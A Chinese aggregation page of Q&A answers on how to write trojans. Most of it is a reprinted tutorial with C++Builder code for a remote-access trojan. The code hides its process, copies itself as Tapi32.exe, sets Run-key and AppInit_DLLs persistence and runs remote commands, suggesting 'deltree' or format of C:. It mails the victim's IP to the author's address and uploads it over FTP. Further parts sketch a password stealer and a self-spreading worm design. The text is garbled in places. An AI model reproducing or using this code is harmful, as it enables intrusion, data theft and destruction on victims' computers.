写一个木马程序要多久才能完成_写一个木马程序要多久

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木马一般是什么程序写出来的

如何识别木马

识别木马有新招,希望这篇文章对你有所帮助。

一、经常看到有玩家说,在输入自己的帐号的时候通故意输错帐号和码。其实这种木马是最早期的木马程序。现在已经很少有编木马程序的程序员,还按照这种监听键盘记录的思路去编写木马程序。现在的木马程序已经发展到通过内存提取数据来获得用户的帐号和密码。大家都知道,不管是传奇还是任何一款程序。它都是有他所特有的数据的(包括玩家的帐号、密码,等级装备资料等等)。这些数据都是会通过本机与游戏服务器取得了验证以后,玩家的角色资料才会出现在玩家的面前。而这些数据在运行的时候都是存放在计算机的内存里面的。木马作者只需要在自己的程序里面加入条件语句就可以取得玩家真实的游戏帐号、密码、角色等级~~~~~,以我自己的计算机知识,这种语句的大概意思应该是:当游戏进程进入到让玩家选择角色的时候再从内存中提取最后一次的帐号、密码、角色等级等资料。也就是说,其实玩家之前所做的故意输错帐号或密码完全是浪费自己的表情、浪费自己的时间。

下边先来说一下木马是如何通过网页进入你的电脑的,相信大家都知道,现在有很多图片木马,EML和EXE木马,其中的图片木马其实很简单,就是把木马exe文件的文件头换成bmp文件的文件头,然后欺骗IE浏览器自动打开该文件,然后利用网页里的一段JAVASCRIPT小程序调用DEBUG把临时文件里的bmp文件还原成木马exe文件并拷贝到启动项里,接下来的事情很简单,你下次启动电脑的时候就是你噩梦的开始了,EML木马更是传播方便,把木马文件伪装成audio/x-wav声音文件,这样你接收到这封邮件的时候只要浏览一下,不需要你点任何连接,windows就会为你代劳自动播放这个他认为是wav的音乐文件,木马就这样轻松的进入你的电脑,这种木马还可以frame到网页里,只要打开网页,木马就会自动运行,另外还有一种 *** ,就是把木马exe编译到. *** 文件里,然后在网页里调用,同样也可以无声无息的入侵你的电脑,这只是些简单的办法,还有远程控制和共享等等漏洞可以钻,知道这些,相信你已经对网页木马已经有了大概了解,

简单防治的 *** :

开始-设置-控制面版-添加删除程序-windows安装程序-把附件里的windows scripting host去掉,然后打开Internet Explorer浏览器,点工具-Internet选项-安全-自定义级别,把里面的脚本的3个选项全部禁用,然后把“在中加载程序和文件”禁用,当然这只是简单的防治 *** ,不过可能影响一些网页的动态java效果,不过为了安全就牺牲一点啦,这样还可以预防一些恶意的网页炸弹和病毒,如果条件允许的话可以加装防火墙,再到微软的网站打些补丁,反正我所知道的网吧用的都是原始安装的windows,很不安全哦,还有尽量少在一些小网站下载一些程序,尤其是一些号称黑客工具的软件,小心盗不着别人自己先被盗了,当然,如果你执意要用的话,号被盗了也应该付出这个代价吧。还有,不要以为装了还原精灵就很安全,据我所知,一般网吧的还原精灵都只还原c:%

如何编写木马

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NM *** TP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序

如何编写木马程序?

怎样编写木马程序

您好

建议您不要去学习使用木马病毒,是属于违法犯罪行为。而且,如果您接收了木马病毒,那么该病毒会自动在您的电脑中优先运行。

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如何编写木马程序??

你想干什么?如果你只想玩玩,建议你学一下vbs脚本或bat脚本,如果你想把脚本做成exe程序,最简单的 *** 就是把脚本压缩到自解压文件里,再用16进制编辑器修改一下某个数值,就成功了。

如果你想干坏事,嘻嘻,木马也不是那么好写的,首先你要成为一个出色的程序员,不仅要打好C语言基础,更要精通汇编语言和计算机硬件以及操作系统原理,逻辑思维要强,当然要学的还很多,如mfc,C#等等,所以,如果你不是非常痴迷于编程,我劝你玩玩就行了,当然,更不要走上违法犯罪的道路吆!

good luck。

呀,还有,请采纳我吧,宝贝儿,嘻!

如何编写木马程序

如果对电脑感兴趣的话可以学习下,一般软件开发工程师都是学的高级语言,但是如果写木马,我们一般是要接触低级语言的,低级语言比高级语言学起来枯燥,但学成之后进阶高级语言很快而且比一般的程序员牛逼,高级语言配合底层知识才能写出更好的木马。底层知识越牢固越好。

怎样才能编程木马程序

北上广深这么多程序员,怎么没几个搞这种编程的?

一个原因就是没钱赚,另一个原因就是技术上要求太高。

好好的学编程,从你提这个问题来看,你都还没入门吧。

慢慢学,你会发现学得越多自己越无知,等你有五年以上开发经验的时候,再来看你现在的这个提问的时候,一定会笑话这个时候的自己的。

祝你在开发的路上快速成长!

木马是如何编写的(三)

很高兴为您解答:

木马编写是需要你懂的C++语言

首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOT\exefile\shell\open\mand

与txt文件建立关联:HKEY_CLASSES_ROOT\txtfile\shell\open\mand

与dll文件建立关联:HKEY_CLASSES_ROOT\dllfile\shell\open\mand

等,当然还可以自己扩充。目前还有一种新 *** :在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Windows

下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取......

编写木马?

盗号木马~~~~楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。 可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。 使用 Timer 控件,监视 *** 。 用遍查窗口的 *** (EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为" *** 用户登录"的标题,取 得 *** 登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 boBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。 由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体 *** 如下: 首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。 程序编制 (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。 声明变量、过程及 API 函数,写在 Module1.bas 文件中 Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象

Type SECURITY_ATTRIBUTES

nLength As Long

lpSecurityDescriptor As Long

bInheritHandle As Long

End Type

Const PAGE_READWRITE = 1

Const ERROR_ALREADY_EXISTS = 183

建立判断程序是否多启动的过程

Sub Main()

Dim ynRun As Long

Dim sa As SECURITY_ATTRIBUTES

sa.bInheritHandle = 1

sa.lpSecurityDescriptor = 0

sa.nLength = Len(sa)

ynRun = CreateFileMapping(HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件

If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出

CloseHandle ynRun '退出程序前关闭内存映射文件

End

End If

End Sub

(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的 *** 声明变量、过程及 API......

木马程序是怎么编出来的

一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用操作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。

更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:

code:

uid = iscript-0a21-2331-x #随机唯一编号

using tcp;

port 21;

send “user anonymous”;

send crlf;

send “pass [email protected]”

send crlf;

if (find “200”) resulrt ok;

next;

[copy to clipboard]

解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:

code:

using raw;

ip offset at 12;

send “\x1a\xb2\xcc” ……

[copy to clipboard]d

主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。

我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法 和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:

fitness = number of host infected / number of host scanned

但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性更好的个体得到更多的传播机会,同时,一些在某种 *** 环境下适应性不强的脚本也有机会尝试不同的 *** 环境。

木马程序是怎么写出来的?

您好:

建议您不要编写木马程序,木马程序会对您和别人的电脑造成损害的,如果您曾编写过此类不安全的软件的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载

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怎么 *** 木马程序?

你需要学会编程才能编写木马编写木马更好用vc++。enet/eschool/video/c++/ 这是c++的教程,你学懂了这些皮毛的东西再深入研究内核编程吧如果上面的地址打不开可以到这里pconline/pcedu/empolder/gj/vc/0607/820674

怎么编写一个简单的木马程序?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

